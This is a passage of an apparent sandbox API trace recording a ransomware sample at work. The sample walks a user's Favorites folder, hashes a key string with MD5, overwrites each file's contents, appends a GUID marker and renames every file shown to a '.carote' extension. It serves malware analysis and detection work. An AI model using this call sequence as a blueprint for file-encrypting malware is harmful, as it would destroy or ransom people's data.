lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.875] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.875] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.875] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.875] CloseHandle (hObject=0x61c) returned 1 [0112.876] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0112.876] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b182e0 [0112.876] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0112.876] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.carote")) returned 1 [0112.876] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.876] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.877] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.877] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0112.877] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.877] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.877] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.877] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned=".url" [0112.877] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.878] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.878] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.880] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.880] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.880] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.880] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.881] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.881] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.881] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.881] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.881] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.881] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.881] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.882] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.882] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.882] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.882] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.882] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.882] GetLastError () returned 0x0 [0112.882] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.882] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.882] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.882] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.882] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.882] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.882] WriteFile (in: hFile=0x61c, lpBuffer=0x7a3f060*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a3f060*, lpNumberOfBytesWritten=0x825fb24*=0x80, lpOverlapped=0x0) returned 1 [0112.882] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.882] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.882] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.882] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.882] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.882] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.882] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.882] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.883] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.883] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.883] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.883] CloseHandle (hObject=0x61c) returned 1 [0112.883] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.883] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.883] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.883] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.carote")) returned 1 [0112.884] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.884] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.885] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.885] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0112.885] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.885] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.885] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.885] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned=".url" [0112.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.886] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.886] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.887] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.887] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.888] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.888] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.888] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.888] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.888] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.888] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.888] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.888] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.888] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.889] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.889] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.889] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.889] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.889] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.889] GetLastError () returned 0x0 [0112.889] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.889] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.889] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.889] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.890] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.890] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.890] WriteFile (in: hFile=0x61c, lpBuffer=0x7a3f060*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a3f060*, lpNumberOfBytesWritten=0x825fb24*=0x80, lpOverlapped=0x0) returned 1 [0112.890] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.890] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.890] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.890] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.890] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.890] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.890] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.890] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.890] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.890] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.890] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.890] CloseHandle (hObject=0x61c) returned 1 [0112.891] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.891] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.891] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.891] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.carote")) returned 1 [0112.891] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.891] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.892] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.892] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0112.892] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.892] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.892] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.892] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned=".url" [0112.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.893] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=133) returned 1 [0112.893] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.894] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.894] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.895] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.895] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.895] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.895] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x85, lpOverlapped=0x0) returned 1 [0112.895] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.895] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.895] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.895] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.895] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.896] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.896] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.896] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.896] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.896] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.896] GetLastError () returned 0x0 [0112.896] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.896] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.896] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.896] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.896] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.896] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.897] WriteFile (in: hFile=0x61c, lpBuffer=0x7a3f060*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7a3f060*, lpNumberOfBytesWritten=0x825fb24*=0x80, lpOverlapped=0x0) returned 1 [0112.897] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.897] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.897] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.897] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.897] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.897] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.897] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.897] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.897] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.897] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.897] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.897] CloseHandle (hObject=0x61c) returned 1 [0112.898] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.898] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.898] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.898] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.carote")) returned 1 [0112.898] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.898] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.899] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.899] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0112.899] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.899] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.899] HeapFree (in: hHeap=0x5010000, 